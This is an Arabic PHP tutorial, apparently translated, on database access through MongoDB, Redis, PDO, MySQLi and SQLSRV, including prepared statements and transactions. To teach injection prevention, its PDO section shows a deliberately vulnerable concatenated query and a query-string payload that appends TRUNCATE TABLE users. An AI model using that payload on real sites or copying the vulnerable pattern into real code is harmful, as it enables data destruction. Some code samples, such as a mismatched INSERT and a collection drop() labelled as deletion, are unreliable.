وتعرض قائمة مصفوفة أما إذا حدث استثناء بالاتصال إلى خادم MongoDB? ستُطبع رسالة. الإنشاء (الإضافة) في MongoDB يستخدم MongoDB المجموعة (collection) بدلًا من الجداول كما هو الحال في SQL. نستخدم في الشيفرة التالية الكائن ‎$mongo لاختيار قاعدة البيانات والمجموعة، إذا لم توجد قاعدة البيانات (demo في مثالنا) والمجموعة (beers في مثالنا) سينشئهما MongoDB تلقائيًا. ونستخدم ‎$collection لإضافة ملف في MongoDB، يشبه الملف السطر في SQL، وكل ملف مُنشئ له معرِّف فريد. <?php $collection = $mongo->demo->beers; $result = $collection->insertOne( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] ); echo "Inserted with Object ID '{$result->getInsertedId()}'"; استخدمنا في المثال الكائن ‎$mongo المستخدم سابقًا في شيفرة الاتصال من php إلى MongoDB، يستخدم MongoDB نوع تنسيق البيانات JSON لذا سنستخدم في php المصفوفة لإضافة بيانات إلى MongoDB، ستحوّل مكتبة mongo من المصفوفة إلى JSON وبالعكس، لكل ملف في MongoDB معرّف خاص به يمكننا الحصول عليه عند الإضافة باستخدام الشيفرة: $result->getInsertedId(); القراءة (البحث) في MongoDB نستخدم التابع find()‎ للاستعلام عن السجلات، ويكون المعامل مصفوفة تتضمن زوج قيمة مفتاح نريد إيجاده، تُرجَع النتيجة على شكل مصفوفة ونستخدم foreach لفلترة المفاتيح المطلوبة. $result = $collection->find( [ 'name' => 'Hinterland', 'brewery' => 'BrewDog' ] ); foreach ($result as $entry) { echo $entry['_id'], ': ', $entry['name'], "\n"; } ?> مثال آخر للبحث عن عدة مستخدمين اسمهم "Mike": $filter = ['name' => 'Mike']; $query = new \MongoDB\Driver\Query($filter); $cursor = $manager->executeQuery('database_name.collection_name', $query); foreach ($cursor as $doc) { var_dump($doc); } ونستخدم التابع findOne()‎ للحصول على ملف واحد، مثال للبحث عن مستخدم واحد فقط له معرِّف محدد: $options = ['limit' => 1]; $filter = ['_id' => new \MongoDB\BSON\ObjectID('578ff7c3648c940e008b457a')]; $query = new \MongoDB\Driver\Query($filter, $options); $cursor = $manager->executeQuery('database_name.collection_name', $query); $cursorArray = $cursor->toArray(); if(isset($cursorArray[0])) { var_dump($cursorArray[0]); } الحذف في MongoDB تعيد الشيفرة التالية 1 في حال تم الحذف بنجاح وتعيد 0 في حال الفشل. <?php $result = $collection->drop( [ 'name' => 'Hinterland'] ); print_r($result->ok); ?> يمكنك الاطلاع في التوثيق الرسمي من MongoDB على العديد من التوابع التي يمكن تطبيقها على ‎$collection. الاتصال مع MongoDB وإجراء العمليات إنشاء اتصال MongoDB يمكنك استخدامه للاستعلام منه لاحقًا: $manager = new \MongoDB\Driver\Manager('mongodb://localhost:27017'); ستتعلم في المثال التالي كيفية الاستعلام باستخدام كائن الاتصال، تُغلق هذه الإضافة الاتصال بشكلٍ تلقائي لذا ليس من الضروري إغلاقه يدويًا. إضافة ملف مثال لإضافة ملف: $document = [ 'name' => 'John', 'active' => true, 'info' => ['genre' => 'male', 'age' => 30] ]; $bulk = new \MongoDB\Driver\BulkWrite; $_id1 = $bulk->insert($document); $result = $manager->executeBulkWrite('database_name.collection_name', $bulk); تحديث ملف مثال لتحديث كل الملفات التي اسمها "John": $filter = ['name' => 'John']; $document = ['name' => 'Mike']; $bulk = new \MongoDB\Driver\BulkWrite; $bulk->update( $filter, $document, ['multi' => true] ); $result = $manager->executeBulkWrite('database_name.collection_name', $bulk); حذف ملف مثال لحذف كل الملفات التي اسمها "Peter": $bulk = new \MongoDB\Driver\BulkWrite; $filter = ['name' => 'Peter']; $bulk->delete($filter); $result = $manager->executeBulkWrite('database_name.collection_name', $bulk); استخدام Redis مع PHP الاتصال إلى كائن Redis بفرض أنّ الخادم الافتراضي يعمل على المضيف المحلي مع المنفذ الافتراضي?، عندها يكون أمر الاتصال إلى خادم Redis هذا: $redis = new Redis(); $redis->connect('127.0.0.1', 6379); تثبيت PHP Redis على نظام التشغيل أبونتو نثبّت أولًا خادم Redis: sudo apt install redis-server ثم نثبّت وحدة PHP: sudo apt install php-redis ثم نعيد تشغيل خادم Apache: sudo service apache2 restart تنفيذ أوامر Redis في PHP توفر وحدة Redis PHP الوصول إلى نفس الأوامر كعميل Redis CLI لذا يمكن استخدامها بشكلٍ مباشر.܏ الصياغة كالتالي: // إنشاء مفتاحين جديدين $redis->set('mykey-1', 123); $redis->set('mykey-2', 'abcd'); // الحصول على مفتاح واحد // 123 ‬// ‫الحصول على كل المفاتيح التي بدايتها 'my-key-‎‎' var_dump($redis->keys('mykey-*')); // '123', 'abcd' الإضافة PDO في PHP تسمح الإضافة PDO للمطورين بالاتصال بأنواع مختلفة كثيرة من قواعد البيانات وتنفيذ استعلامات مختلفة عليها بطريقة موحدة كائنية التوجه. منع حقن SQL باستخدام استعلامات ذات وسائط حقن SQL هو هجوم يسمح لمستخدم ضار بتعديل استعلام SQL بإضافة أوامر غير مرغوب بها إلى الاستعلام، مثلًا الاستعلام التالي معرَّض للخطر: $sql = 'SELECT name, email, user_level FROM users WHERE userID = ' . $_GET['user']; $conn->query($sql); تسمح هذه الشيفرة لأي مستخدم بالتعديل في قاعدة البيانات بشكلٍ أساسي كما يرغب، مثلًا بفرض لدينا سلسلة الاستعلام التالية: page.php?user=0;%20TRUNCATE%20TABLE%20users; تجعل هذه السلسلة الاستعلام يكون بالشكل: SELECT name, email, user_level FROM users WHERE userID = 0; TRUNCATE TABLE users; يعدّ هذا المثال مبالغًا فيه (معظم هجمات حقن SQL لا تهدف إلى حذف البيانات ولا تدعم معظم دوال تنفيذ استعلام PHP الاستعلام المتعدد)، هذا مثال على إمكانية جعل هجوم حقن SQL ممكنًا من خلال التجميع غير المتقن للاستعلام، لسوء الحظ فإنَّ مثل هذه الهجمات شائع جدًا وفعال بشكلٍ كبير بسبب المبرمجين الذين يفشلون في اتخاذ الاحتياطات المناسبة لحماية بياناتهم. الحل المناسب لمنع حدوث حقن SQL هو تعليمات التحضير (prepared statements)، فنستخدم عنصرًا بديلًا (placeholder) بدلًا من دمج بيانات المستخدم بشكلٍ مباشر مع الاستعلام، ثم تُرسَل البيانات بشكلٍ منفصل وبالتالي لا توجد فرصة لمحرك SQL أن يحتار بخصوص بيانات المستخدم. ولاحظ أنّ إضافة PHP MySQLi تدعم أيضًا تعليمات التحضير. تدعم PDO نوعين من العناصر البديلة (لا يمكن استخدام العناصر البديلة لتسمية الأعمدة أو الجداول وإنما فقط للقيم): 1- العناصر البديلة المسماة، نقطتان (:) يتبعهما اسم واضح مثل (‎:user). // استخدام العناصر البديلة المسماة $sql = 'SELECT name, email, user_level FROM users WHERE userID = :user'; $prep = $conn->prepare($sql); // مصفوفة ترابطية $prep->execute(['user' => $_GET['user']]); $result = $prep->fetchAll(); 2- العناصر البديلة الموضعية التقليدية في SQL تُمثَّل بالعلامة ?. // استخدام العناصر البديلة الممثَّلة بعلامة الاستفهام $sql = 'SELECT name, user_level FROM users WHERE userID = ? AND user_level = ?'; $prep = $conn->prepare($sql); // مصفوفة مفهرسة $prep->execute([$_GET['user'], $_GET['user_level']]); $result = $prep->fetchAll(); يجب أن تعلم أنّه إذا احتجت إلى تغيير اسم عمود أو جدول بشكلٍ ديناميكي فإنّ هذه ممارسة سيئة وعلى مسؤوليتك الأمنية الخاصة، مع أنّه يمكنك القيام بذلك عن طريق دمج السلاسل النصية. إحدى الطرق لتحسين أمان مثل هذه الاستعلامات هي تعيين جدول فيه القيم المسموح بها ومقارنة القيمة التي تريدها للدمج مع هذا الجدول. يجب أن تعلم أنّه من المهم ضبط ترميز محارف الاتصال ليكون DSN (‏Data Source Name) فقط، وإلا قد يكون تطبيقك معرّضًا لثغرة ضعيفة. إنّ ضبط ترميز المحارف ليكون DSN غير متاح في الإصدارات PDO السابقة للإصدار 5.3.6 لذا فالخيار الوحيد هو ضبط سمة الاتصال PDO::ATTR_EMULATE_PREPARES لتكون false مباشرةً بعد إنشائه. $conn->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); ستؤدي هذه الشيفرة إلى استخدام PDO لتعليمات التحضير الأساسية الموجودة في DBMS (‏Database Management Systems) بدلًا من محاكاتها فقط، وانتبه إلى أنّ PDO ستتراجع ببطء لمحاكاة التعليمات التي لا تستطيع MySQL تحضيرها محليًّا، هذه العبارات موجودة في التوثيق. اتصال PDO الأساسي والاسترجاع بدءًا من الإصدار PHP 5.0 أصبحت PDO متاحة كطبقة وصول إلى قاعدة البيانات، وهي لا تعرف قاعدة البيانات، ستعمل الشيفرة في مثال الاتصال التالي لأي من قواعد البيانات المدعومة ببساطة عن طريق تغيير الترميز DSN. // (1) $dsn = "mysql:host=localhost;dbname=testdb;charset=utf8"; // (2) $username = "user"; $password = "pass"; $db = new PDO($dsn, $username, $password); // ‫ضبط PDO لرمي استثناء إذا أُدخِل استعلام غير صحيح $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); // تحضير تعليمة التنفيذ مع عنصر بديل مفرد $query = "SELECT * FROM users WHERE class = ?"; $statement = $db->prepare($query); // إنشاء بعض المعاملات لملء العناصر البديلة وتنفيذ التعليمة $parameters = [ "221B" ]; $statement->execute($parameters); // التكرار على كل سجل كمصفوفة ترابطية while ($row = $statement->fetch(PDO::FETCH_ASSOC)) { do_stuff($row); } ننشئ في الموضع (1) مقبضًا لقاعدة البيانات ونستخدم MySQL (اتصال باستخدام مقبس محلي) يوضّح الموضع (2) أنّه يمكنك استخدام MySQL (اتصال عبر الشبكة، يمكنك تحديد المنفذ أيضًا إذا أردت) باستخدام الشيفرة: $dsn = "mysql:host=127.0.0.1;port=3306;dbname=testdb;charset=utf8"; أو استخدام Postgres: $dsn = "pgsql:host=localhost;port=5432;dbname=testdb;"; أو حتى SQLite: $dsn = "sqlite:/path/to/database" تنشئ الدالة prepare كائنًا من الصنف PDOStatement من سلسلة الاستعلام، تجري عمليات تنفيذ الاستعلام واسترجاع النتائج على هذا الكائن المُرجَع. في حال الفشل إما تعيد الدالة false أو ترمي استثناءً (بالاعتماد على كيفية ضبط إعدادات اتصال PDO). عمليات قاعدة البيانات مع PDO تضمن عمليات (transactions) قاعدة البيانات أنَّ مجموعة التغييرات على قاعدة البيانات ستصبح دائمة فقط إذا نجحت كل التعليمات، يمكن التقاط أي فشل في الاستعلام أو الشيفرة خلال عملية ما ثم يكون لديك خيار التراجع (roll back) عن التغييرات التي حاولت القيام بها. توفر PDO توابع بسيطة لعمليات البدء وحفظ التغييرات (committing) والتراجع. $pdo = new PDO( $dsn, $username, $password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION) ); try { $statement = $pdo->prepare("UPDATE user SET name = :name"); $pdo->beginTransaction(); $statement->execute(["name"=>'Bob']); $statement->execute(["name"=>'Joe']); $pdo->commit(); } catch (\Exception $e) { if ($pdo->inTransaction()) { $pdo->rollback(); // إذا وصلنا إلى هنا فإنَّ التحديثين ليسا في قاعدة البيانات } throw $e; } تكون أي تغييرات تُجرى على البيانات خلال العملية مرئية للاتصال النشط، ستُرجع تعليمات SELECT التغييرات المُعدَّلة حتى لو لم تُحفظ في قاعدة البيانات بعد. مثال عملي لاستخدام العمليات مع PDO نعرض لك في الفقرة التالية مثال عملي من العالم الحقيقي حيث يضمن استخدام العمليات اتساق قاعدة البيانات. تخيل بأنّك تبني عربة تسوق لموقع تجارة الكترونية وقررت أن تحتفظ بطلبات العملاء في جدولين من قاعدة البيانات، اسم الجدول الأول orders يعبر عن الطلبات وحقوله هي order_id، ‏name، ‏address، ‏telephone و‏created_at، واسم الجدول الثاني orders_products يحوي منتجات الطلبات وحقوله هي order_id،‏product_id وquantity، أي يحتوي الجدول الأول على بيانات وصفية للطلب والجدول الثاني على المنتجات الفعلية التي طلبها العملاء. إضافة طلب جديد إلى قاعدة البيانات تحتاج لإضافة طلب جديد إلى قاعدة البيانات إلى أمرين، الأول هو إنشاء سجل جديد (INSERT) في الجدول orders يحتوي على البيانات الوصفية للطلب (الاسم والعنوان وغير ذلك)، والثاني هو إنشاء سجل جديد في الجدول orders_products لكل منتج من المنتجات الموجودة في قائمة الطلب. يمكنك القيام بذلك باستخدام الشيفرة التالية: // إضافة البيانات الوصفية للطلب في قاعدة البيانات $preparedStatement = $db->prepare( 'INSERT INTO `orders` (`name`, `address`, `telephone`, `created_at`) VALUES (:name, :address, :telephone, :created_at)' ); $preparedStatement->execute([ 'name' => $name, 'address' => $address, 'telephone' => $telephone, 'created_at' => time(), ]); // ‫الحصول على `order_id` المولَّد $orderId = $db->lastInsertId(); // بناء استعلام لإضافة منتجات الطلب $insertProductsQuery = 'INSERT INTO `orders_products` (`order_id`, `product_id`, `quantity`) VALUES'; $count = 0; foreach ( $products as $productId => $quantity ) { $insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity' . $count . ')'; $insertProductsParams['order_id' . $count] = $orderId; $insertProductsParams['product_id' . $count] = $productId; $insertProductsParams['quantity' . $count] = $quantity; ++$count; } // إضافة المنتجات المُضمَّنة في الطلب إلى قاعدة البيانات $preparedStatement = $db->prepare($insertProductsQuery); $preparedStatement->execute($insertProductsParams); ستعمل هذه الشيفرة بشكلٍ رائع على إضافة طلب جديد إلى قاعدة البيانات حتى يحدث شيء ما غير متوقع ولسببٍ ما يفشل استعلام INSERT الثاني وعندها سيكون لديك طلب جديد في الجدول orders بدون وجود منتجات مرتبطة فيه من الجدول orders_products. لحسن الحظ يمكن إصلاح هذا ببساطة بجعل الاستعلامين في عملية قاعدة بيانات واحدة. إضافة طلب جديد إلى قاعدة البيانات مع عملية كل ماعليك فعله لبدء عملية باستخدام PDO هو استدعاء التابع beginTransaction قبل تنفيذ أي استعلامات على قاعدة البيانات، ثم تجري التغييرات التي تريدها بتنفيذ استعلامات INSERT و/أو UPDATE وفي النهاية تستدعي التابع commit للكائن لجعل التغييرات دائمة، قبل استدعاء التابع commit فإنّ كل التغييرات التي تجريها على بياناتك غير دائمة ويمكن التراجع عنها بسهولة باستدعاء التابع rollback للكائن PDO. نوضح في المثال التالي استخدام العمليات لإضافة طلب جديد في قاعدة البيانات مع ضمان اتساق البيانات في نفس الوقت، ستُرجع جميع التغييرات إذا فشل أحد الاستعلامين، نستخدم في هذا المثال MySQL لكن يمكن تطبيقه على أي قاعدة بيانات تدعم العمليات. $db = new PDO('mysql:host=' . $host . ';dbname=' . $dbname . ';charset=utf8', $username,$password); // ‫تأكد من أنّ PDO سترمي استثناءً في حالة الخطأ لجعل عملية معالجة الخطأ أسهل $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); try { // بدءًا من هذه النقطة وحتى تُحفظ العملية يمكن التراجع عن كل تغيير في قاعدة البيانات $db->beginTransaction(); // إضافة البيانات الوصفية للطلب في قاعدة البيانات $preparedStatement = $db->prepare( 'INSERT INTO `orders` (`order_id`, `name`, `address`, `created_at`) VALUES (:name, :address, :telephone, :created_at)' ); $preparedStatement->execute([ 'name' => $name, 'address' => $address, 'telephone' => $telephone, 'created_at' => time(), ]); // ‫الحصول على `order_id` المولَّد $orderId = $db->lastInsertId(); // بناء الاستعلام لإضافة منتجات الطلب $insertProductsQuery = 'INSERT INTO `orders_products` (`order_id`, `product_id`, `quantity`) VALUES'; $count = 0; foreach ( $products as $productId => $quantity ) { $insertProductsQuery .= ' (:order_id' . $count . ', :product_id' . $count . ', :quantity' . $count . ')'; $insertProductsParams['order_id' . $count] = $orderId; $insertProductsParams['product_id' . $count] = $productId; $insertProductsParams['quantity' . $count] = $quantity; ++$count; } // إضافة منتجات الطلب إلى قاعدة البيانات $preparedStatement = $db->prepare($insertProductsQuery); $preparedStatement->execute($insertProductsParams); // جعل تغييرات قاعدة البيانات دائمة $db->commit(); } catch ( PDOException $e ) { // فشل إضافة الطلب في قاعدة البيانات لذا نتراجع عن التغييرات $db->rollback(); throw $e; } الاتصال بخادم MySQL/MariaDB باستخدام PDO يوجد طريقتين للاتصال بخادم MySQL/MariaDB وفقًا للبنية التحتية. الاتصال (TCP/IP) المعياري $dsn = 'mysql:dbname=demo;host=server;port=3306;charset=utf8'; $connection = new \PDO($dsn, $username, $password); // ‫رمي استثناءات عند حدوث خطأ SQL $connection->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); // منع محاكاة تعليمات التحضير $connection->setAttribute(\PDO::ATTR_EMULATE_PREPARES, false); يجب أن تعطّل المحاكاة بشكلٍ واضح لأنّ PDO صممت لتكون متكاملة مع إصدارات خادم MySQL الأقدم (التي لا تدعم تعليمات التحضير)، وإلا ستخسر فوائد منع الحقن (injection prevention) المضافة التي يوفرها عادةً استخدام تعليمات التحضير. سلوك معالجة الخطأ الافتراضي هو حل وسط آخر، إذا لم يُعَدّ فلن تظهر PDO أي مؤشرات إلى أخطاء SQL، يُنصح بضبطه إلى الإعداد "exception mode" (نمط الاستثناء) لأنّه يمنحك وظائف إضافية عند كتابة تعابير ثبات مجردة (مثلًا عندما يكون لديك استثناء عند انتهاك القيد UNIQUE). اتصال المقبس $dsn = 'mysql:unix_socket=/tmp/mysql.sock;dbname=demo;charset=utf8'; $connection = new \PDO($dsn, $username, $password); // ‫رمي استثناءات عند حدوث خطأ SQL $connection->setAttribute(\PDO::ATTR_ERRMODE, \PDO::ERRMODE_EXCEPTION); // منع محاكاة تعليمات التحضير $connection->setAttribute(\PDO::ATTR_EMULATE_PREPARES, false); في الأنظمة مثل unix إذا كان اسم المضيف 'localhost' يتم الاتصال بالخادم عبر مقبس المجال (domain socket). الحصول على عدد الأسطر المتأثرة بالاستعلام باستخدام PDO نبدأ بالمتغير ‎$db والذي هو نسخة من الصنف PDO. نريد غالبًا بعد تنفيذ الاستعلام أن نحدد عدد الأسطر المتأثرة بهذا الاستعلام عندها نستخدم التابع rowCount()‎ من الصنف PDOStatement. $query = $db->query("DELETE FROM table WHERE name = 'John'"); $count = $query->rowCount(); echo "Deleted $count rows named John"; ملاحظة: يُستخدم هذا التابع لتحديد عدد الأسطر المتأثرة بتعليمات INSERT وDELETE وUPDATE فقط، بالرغم من أنّ هذا التابع قد يعمل بشكلٍ صحيح مع تعليمات SELECT أيضًا إلا أنّه غير متسق مع جميع قواعد البيانات. PDO::lastInsertId()‎ يمكنك الحصول على قيمة المعرِّف (ID) المتزايدة تلقائيًا للسطر الذي أضفته إلى جدول قاعدة البيانات باستخدام التابع lastInsertId()‎. // ‫فتح اتصال أساسي (MySQL) $host = 'localhost'; $database = 'foo'; $user = 'root' $password = ''; $dsn = "mysql:host=$host;dbname=$database;charset=utf8"; $pdo = new PDO($dsn, $user, $password); // ‫إضافة سطر جديد في الجدول الافتراضي 'foo_user' $query = "INSERT INTO foo_user(pseudo, email) VALUES ('anonymous', 'anonymous@example.com')"; $query_success = $pdo->query($query); // استعادة المعرِّف للسطر الأخير المدخل $id = $pdo->lastInsertId(); // القيمة المعادة هي عدد صحيح لدينا الكلمة المفتاحية RETURNING في قواعد البيانات postgresql وoracle والتي تُرجع الأعمدة المحددة للأسطر المُدخلة/المعدّلة حاليًا. إليك مثال لإضافة سطر جديد واحد: // ‫‫فتح اتصال أساسي (PGSQL) $host = 'localhost'; $database = 'foo'; $user = 'root' $password = ''; $dsn = "pgsql:host=$host;dbname=$database;charset=utf8"; $pdo = new PDO($dsn, $user, $password); // ‫إضافة سطر جديد في الجدول الافتراضي 'foo_user' $query = "INSERT INTO foo_user(pseudo, email) VALUES ('anonymous', 'anonymous@example.com') RETURNING id"; $statement = $pdo->query($query); // استعادة المعرِّف للسطر الأخير المدخل $id = $statement->fetchColumn(); استخدام الإضافة SQLSRV في PHP استعادة رسائل الخطأ من المهم جلب رسالة (أو رسائل) الخطأ المُرجعة من قِبل المُشغّل عند حدوث خطأ ما وذلك لمعرفة سبب المشكلة، الصيغة هي: sqlsrv_errors([int $errorsOrWarnings]); تُرجع هذه الشيفرة مصفوفة مع مفتاح ووصف. table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } المفتاح الوصف SQLSTATE ‫ حالة خادم SQL/ مشغّل OBDC الشيفرة SQL Server شيفرة خطأ الرسالة وصف الخطأ من الشائع استخدام الدالة السابقة كالتالي: $brokenQuery = "SELECT BadColumnName FROM Table_1"; $stmt = sqlsrv_query($conn, $brokenQuery); if ($stmt === false) { if (($errors = sqlsrv_errors()) != null) { foreach ($errors as $error) { echo "SQLSTATE: ".$error['SQLSTATE']."<br />"; echo "code: ".$error['code']."<br />"; echo "message: ".$error['message']."<br />"; } } } جلب نتائج الاستعلام يوجد 3 طرق أساسية لجلب النتائج من استعلام: sqlsrv_fetch_array()‎ تعيد هذه الدالة السطر التالي كمصفوفة. $stmt = sqlsrv_query($conn, $query); while($row = sqlsrv_fetch_array($stmt)) { echo $row[0]; $var = $row["name"]; //... } لهذه الدالة معامل ثاني اختياري لجلب أنواع مختلفة من المصفوفات، يمكن أن يكون SQLSRV_FETCH_ASSOC أو SQLSRV_FETCH_NUMERIC أو SQLSRV_FETCH_BOTH (القيمة الافتراضية) ويعيد مصفوفة ترابطية، عددية، أو مصفوفة ترابطية وعددية على الترتيب. sqlsrv_fetch_object()‎ تعيد هذه الدالة السطر التالي ككائن. $stmt = sqlsrv_query($conn, $query); while($obj = sqlsrv_fetch_object($stmt)) { // أسماء خاصيات الكائن هي أسماء حقول الاستعلام echo $obj->field; //... } sqlsrv_fetch()‎ تجعل هذه الدالة السطر التالي متاحًا للقراءة. $stmt = sqlsrv_query($conn, $query); while(sqlsrv_fetch($stmt) === true) { // الحصول على الحقل الأول $foo = sqlsrv_get_field($stmt, 0); } إنشاء اتصال // ‫اسم الخادم/النسخة، متضمنًا رقم منفذ اختياري (الافتراضي 1433) $dbServer = "localhost,1234"; // اسم قاعدة البيانات $dbName = "db001"; // اسم المستخدم $dbUser = "user"; // كلمة مرور قاعدة البيانات لهذا المستخدم $dbPassword = "password"; $connectionInfo = array( "Database" => $dbName, "UID" => $dbUser, "PWD" => $dbPassword ); $conn = sqlsrv_connect($dbServer, $connectionInfo); للإضافة SQLSRV أيضًا مشغّل PDO. للاتصال باستخدام PDO: $conn = new PDO("sqlsrv:Server=localhost,1234;Database=db001", $dbUser, $dbPassword); كتابة استعلام بسيط // إنشاء اتصال $conn = sqlsrv_connect($dbServer, $connectionInfo); $query = "SELECT * FROM [table]"; $stmt = sqlsrv_query($conn, $query); ملاحظة: نستخدم الأقواس المربعة [] للهرب من الكلمة المحجوزة ‏table، وتعمل نفس عمل علامة الاقتباس المائلة ` في MySQL. استدعاء إجراء مخزن (Stored Procedure) لاستدعاء إجراء مخزن على الخادم: // المعاملات '?' تتضمن معاملات خرج $query = "{call [dbo].[myStoredProcedure](?,?,?)}"; $params = array( array($name, SQLSRV_PARAM_IN), array($age, SQLSRV_PARAM_IN), // ‏يجب أن يكون المتغير ‎$count معرّف مسبقًا array($count, SQLSRV_PARAM_OUT, SQLSRV_PHPTYPE_INT) ); $result = sqlsrv_query($conn, $query, $params); كتابة استعلام ذو معاملات $conn = sqlsrv_connect($dbServer, $connectionInfo); $query = "SELECT * FROM [users] WHERE [name] = ? AND [password] = ?"; $params = array("joebloggs", "pa55w0rd"); $stmt = sqlsrv_query($conn, $query, $params); إذا كنت تخطط لاستخدام نفس تعليمة الاستعلام أكثر من مرة مع معاملات مختلفة فيمكنك تحقيق ذلك باستخدام الدوال sqlsrv_prepare()‎ وsqlsrv_execute()‎ كما في الشيفرة التالية: $cart = array( "apple" => 3, "banana" => 1, "chocolate" => 2 ); $query = "INSERT INTO [order_items]([item], [quantity]) VALUES(?,?)"; // المتغيرات هي معاملات يجب تمريرها بالمرجع $params = array(&$item, &$qty); $stmt = sqlsrv_prepare($conn, $query, $params); foreach($cart as $item => $qty){ if(sqlsrv_execute($stmt) === FALSE) { die(print_r(sqlsrv_errors(), true)); } } ترجمة -وبتصرف- للفصول [PDO - Using MongoDB - mongo-php - Using Redis with PHP - Using SQLSRV] من كتاب PHP Notes for Professionals book اقرأ أيضًا المقال التالي: كيفية إرسال بريد إلكتروني في PHP المقال السابق: إضافة PHP MySQLi ونظام إدارة قواعد البيانات SQLite3
  18. واجهة mysqli هي تحسين (وتعني إضافة MySQL محسَّنة "MySQL Improvement extension") لواجهة MySQL التي أُهملت في الإصدار 5.5 وحُذِفت في الإصدار 7.0. طُوِّرت إضافة mysqli المعروفة أيضًا باسم إضافة MySQL المحسَّنة للاستفادة من إيجابيات الميزات الجديدة الموجودة في إصدارات أنظمة MySQL بدءًا من الإصدار 4.1.3 وما بعد. ضُمِّنت إضافة mysqli في الإصدار PHP 5 وما بعده. إغلاق الاتصال يُنصَح بإغلاق الاتصال بعد الانتهاء من الاستعلام من قاعدة البيانات لتحرير الموارد. النمط الكائني التوجه $conn->close(); النمط الإجرائي mysqli_close($conn); ملاحظة: سيُغلق الاتصال مع الخادم حالما ينتهي تنفيذ السكربت ما لم يُغلق مبكرًا باستدعاء دالة إغلاق الاتصال بشكلٍ صريح. حالة استخدام: يجب بكل تأكيد إغلاق الاتصال إذا احتوى السكربت على كمية معقولة من المعالجة بعد جلب النتيجة واستعاد مجموعة النتائج كاملةً، إذا لم نقم بذلك فهناك احتمال أن يصل خادم MySQL إلى حد الاتصال عندما يكون خادم الويب قيد الاستخدام المكثف. اتصال MySQLi النمط الكائني التوجه الاتصال بالخادم: $conn = new mysqli("localhost","my_user","my_password"); ضبط قاعدة البيانات الافتراضية: $conn->select_db("my_db"); الاتصال بقاعدة البيانات: $conn = new mysqli("localhost","my_user","my_password","my_db"); النمط الإجرائي الاتصال بالخادم: $conn = mysqli_connect("localhost","my_user","my_password"); ضبط قاعدة البيانات الافتراضية: mysqli_select_db($conn, "my_db"); الاتصال بقاعدة البيانات: $conn = mysqli_connect("localhost","my_user","my_password","my_db"); التحقق من الاتصال بقاعدة البيانات النمط الكائني التوجه if ($conn->connect_errno > 0) { trigger_error($db->connect_error); } // else: successfully connected النمط الإجرائي if (!$conn) { trigger_error(mysqli_connect_error()); } // else: successfully connected تمرير حلقة على نتائج MySQLi تجعل PHP من السهل الحصول على البيانات من النتائج وتكرارها باستخدام تعليمة while، وترجع false عندما تفشل في الحصول على السطر التالي وتنتهي الحلقة. تعمل هذه الأمثلة مع: mysqli_fetch_assoc - مصفوفة ترابطية مع أسماء الأعمدة كمفاتيح. mysqli_fetch_object - كائن stdClass مع أسماء الأعمدة كمتغيرات. mysqli_fetch_array - مصفوفة ترابطية وعددية (يمكنك استخدام وسيط لتحصل على إحداها) mysqli_fetch_row - مصفوفة عددية. النمط الكائني التوجه while($row = $result->fetch_assoc()) { var_dump($row); } النمط الإجرائي while($row = mysqli_fetch_assoc($result)) { var_dump($row); } يمكننا استخدام الشيفرة التالية للحصول على معلومات دقيقة من النتائج: while ($row = $result->fetch_assoc()) { echo 'Name and surname: '.$row['name'].' '.$row['surname'].'<br>'; // ‫طباعة معلومات من العمود 'age' echo 'Age: '.$row['age'].'<br>'; } تعليمات التحضير في MySQLi يمكنك قراءة المزيد حول منع حقن SQL مع الاستعلامات التي تحوي معاملات لمعرفة سبب مساعدة تعليمات التحضير لك في تأمين تعليمات SQL ضد هجمات حقن SQL. المتغير ‎$conn هو كائن MySQLi في الشيفرات التالية وفي المثالين نفرض أنّ ‎$sql: $sql = "SELECT column_1 FROM table WHERE column_2 = ? AND column_3 > ?"; تمثّل ? القيم التي سنوفرها لاحقًا، لاحظ أننا لا نحتاج علامات الاقتباس للنصوص البديلة بغض النظر عن النوع، يمكننا أيضًا أن نوفر النصوص البديلة فقط في جزء البيانات من الاستعلام أي SET وVALUES وWHERE، ولا يمكن استخدام النصوص البديلة في الأجزاء SELECT أو FROM. النمط الكائني التوجه if ($stmt = $conn->prepare($sql)) { $stmt->bind_param("si", $column_2_value, $column_3_value); $stmt->execute(); $stmt->bind_result($column_1); $stmt->fetch(); // ‫يمكننا الآن استخدام المتغير ‎$column_1 مثل أي متغير PHP آخر $stmt->close(); } النمط الإجرائي if ($stmt = mysqli_prepare($conn, $sql)) { mysqli_stmt_bind_param($stmt, "si", $column_2_value, $column_3_value); mysqli_stmt_execute($stmt); // جلب البيانات هنا mysqli_stmt_close($stmt); } يُحدَّد المعامل الأول للتابع ‎$stmt->bind_param أو المعامل الثاني للتابع mysqli_stmt_bind_param وفقًا لنمط البيانات للمعامل المقابل في استعلام SQL: table { width: 100%; } thead { vertical-align: middle; text-align: center; } td, th { border: 1px solid #dddddd; text-align: right; padding: 8px; text-align: inherit; } tr:nth-child(even) { background-color: #dddddd; } المعامل نوع البيانات للمعامل المقيّد i integer عدد صحيح d double عدد عشري s string سلسلة نصية b blob كائن بيانات ثنائية يجب أن تكون قائمة المعاملات بنفس الترتيب الموجود في الاستعلام، تعني si في هذا المثال أنّ المعامل الأول ‎(column_2 = ?)‎ هو سلسلة نصية والمعامل الثاني ‎(column_3 > ?)‎ عدد صحيح. سلاسل الهروب النصية سلاسل الهروب النصية (Escaping Strings) طريقة قديمة (وأقل أمنًا) لتأمين البيانات لإدراجها في استعلام، تعمل باستخدام دالة MySQL ‏mysql_real_escape_string()‎ لمعالجة وتعقيم البيانات (أي أنّ PHP لا تقوم بعملية الهروب). توفر واجهة برمجة التطبيقات MySQLi الوصول المباشر لهذه الدالة. $escaped = $conn->real_escape_string($_GET['var']); //أو $escaped = mysqli_real_escape_string($conn, $_GET['var']); عند هذه النقطة يصبح لديك سلسلة نصية تعدها MySQL آمنة للاستخدام في استعلام مباشر. $sql = 'SELECT * FROM users WHERE username = "' . $escaped . '"'; $result = $conn->query($sql); إذًا لم لا تُعدّ هذه الطريقة آمنة مثل تعليمات التحضير؟ لأنه 